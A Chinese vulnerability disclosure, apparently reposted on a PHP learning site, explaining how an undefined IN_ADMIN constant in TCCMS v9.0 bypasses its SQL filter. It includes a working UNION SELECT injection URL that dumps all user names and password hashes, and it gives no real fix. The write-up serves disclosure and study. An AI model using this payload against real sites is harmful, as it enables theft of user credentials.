网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

Tccms sql注入#2 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-15 15:00 作者: 阅读:

[导读] rt2014-07-22TCCMS v9 0详细说明:常量未定义。看到 system core controller class phpprivate function forceAttack() { $attack = M(attack); if (Config::get(blackcheck...

常量未定义。


看到 /system/core/controller.class.php
 

private function forceAttack() {
        $attack = M('attack');
    if (Config::get("blackcheck") == 1 && !defined('IN_ADMIN') && $_GET['ac'] != 'common_newCode') {
    $canBePass = $attack->checkForbidden();
        if ($canBePass) {
            $this->setValue("error", Config::lang("YOUAREPROHIBITED"));
            $this->forward("error.html");
            exit;
        }
}

        if (Config::get("checkHack") && IN_ADMIN != TRUE) {
            $attack->initLogHacker();
        }
    }

当Config::get("checkHack") && IN_ADMIN != TRUE 时 调用 initLogHacker,过滤sql。

checkHack默认是为true的 然而 IN_ADMIN 常量是未定义的 在 php中 如果使用了一个未定义的常量,PHP 假定想要的是该常量本身的名字,如同用字符串调用它一样(CONSTANT 对应 "CONSTANT")。此时将发出一个 E_NOTICE 级的错误(参考 http://php.net/manual/zh/language.constants.syntax.php)

此时 IN_ADMIN = "IN_ADMIN " 所以 为 true的。

if (Config::get("checkHack") && IN_ADMIN != TRUE) 逻辑不成立 导致 sql过滤函数调用失败。

我们注册用户后

访问

http://localhost/index.php?ac=news_all&yz=1%20union%20select%20group_concat%28username,0x23,password%29,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29%20from%20tc_user%23


 

1.jpg

爆出管理员在内的所有用户信息

 

修复方案:

修复~~

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论